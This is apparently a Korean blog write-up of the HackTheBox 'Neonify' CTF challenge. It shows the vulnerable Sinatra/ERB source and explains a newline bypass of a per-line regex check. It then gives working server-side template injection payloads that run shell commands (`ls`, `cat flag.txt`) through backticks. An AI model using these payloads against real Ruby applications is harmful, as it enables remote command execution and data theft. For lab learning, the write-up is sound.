[HackTheBox] Neonify

silver35·2023년 2월 25일
0

HackTheBox

목록 보기
2/3

문제 개요

문제 페이지에 들어가면 자신이 문자열을 입력 시 이를 네온 문자열로 출력해준다.

코드 분석

neon.rb 소스코드를 보면 NeonControllers의 클래스이며 get method로 /를 요청 시 neon변수에 “Glow With The Flow”를 설정해 index.erb에서 출력해주며 post method로 / 요청 시 neon 파리미터 값에 설정된 값으로 index.erb에서 출력해준다. 이때, neon 파라미터의 값이 알파벳 , 숫자, 공백으로 이뤄진 문자열인지 확인한다.

참고) ^는 문자열의 시작, $ 는 문자열의 끝, i는 대소문자를 구문하지 않는다.

class NeonControllers < Sinatra::Base

  configure do
    set :views, "app/views"
    set :public_dir, "public"
  end

  get '/' do
    @neon = "Glow With The Flow"
    erb :'index'
  end

  post '/' do
    if params[:neon] =~ /^[0-9a-z ]+$/i
      @neon = ERB.new(params[:neon]).result(binding)
    else
      @neon = "Malicious Input Detected"
    end
    erb :'index'
  end

end

index.erb 코드를 보면 <%= @neon %> 템플릿 태그를 확인할 수 있다. "<%=" 태그는 Ruby 코드를 문자열에 삽입하고 해당 코드의 결과를 문자열의 일부로 출력하는데 사용한다. erb가 Ruby의 템플릿이며 "<%=" 구문을 사용하는 것을 보아 SSTI를 이용해야한다는 것을 알게 되었다. 그러나 문제는 입력값이 영문자, 숫자, 공백만 허용한다는 것이다.

<!DOCTYPE html>
<html>
<head>
    <title>Neonify</title>
    <link rel="stylesheet" href="stylesheets/style.css">
    <link rel="icon" type="image/gif" href="/images/gem.gif">
</head>
<body>
    <div class="wrapper">
        <h1 class="title">Amazing Neonify Generator</h1>
        <form action="/" method="post">
            <p>Enter Text to Neonify</p><br>
            <input type="text" name="neon" value="">
            <input type="submit" value="Submit">
        </form>
        <h1 class="glow"><%= @neon %></h1>
    </div>
</body>
</html>

취약점

어떻게 우회할지 생각하다가 Ruby에서 정규식은 ^과 $는 각 줄의 시작과 끝에 매치된다는 것을 알았다. 그래서 만약에 한줄이 매칭되면 매칭되는 것으로 간주한다. 따라서, 개행문자가 오면 개행문자 다음에 어떤 문자(정규식에 매칭되지 않는 문자)가 와도 상관없다. 즉, neon 값에 hello%0a%0dhello<%=7*7%>를 전달했을때 hello가 매칭이 됨으로 모든 검사가 끝난다. 따라서 뒤에 있는 문자들에 무엇이 오든 상관 없다. 따라서, 아래와같이 <%=7*7%>를 전달하면 응답값이 49로와 SSTI가 가능하는 것을 알게 되었다.
참고) 아스키에서의 제어문자 중 LF, CR이 있다. LF는 한줄을 바꾸는 것이며 CR은 현재 커서를 맨 앞으로 옮기는 제어 문자이다. 이를 URL로 인코딩하면 %0a%0d가 된다

hello%0a%0dhello<%= 7*7 %>

Exploit

ruby에서 `을 사용해 shell command를 실행할 수 있다. system함수를 이용해볼려 했지만 이는 return값이 true, false이기 때문에 결과값을 바로 출력해줄 수 없었다. 이를 인코딩해서 파라미터에 삽입하면 flag.txt 파일이 있는 것을 확인했다.

hello%0a%0dhello<%= `ls` %>

flag.txt 파일을 읽는 명령을 실행하면 flag를 획득할 수 있었다.

hello%0a%0dhello<%= `cat flag.txt` %>

참고 자료)
Bypassing regular expression checks with a line feed
Ruby ERB Template Injection - TrustedSec

0개의 댓글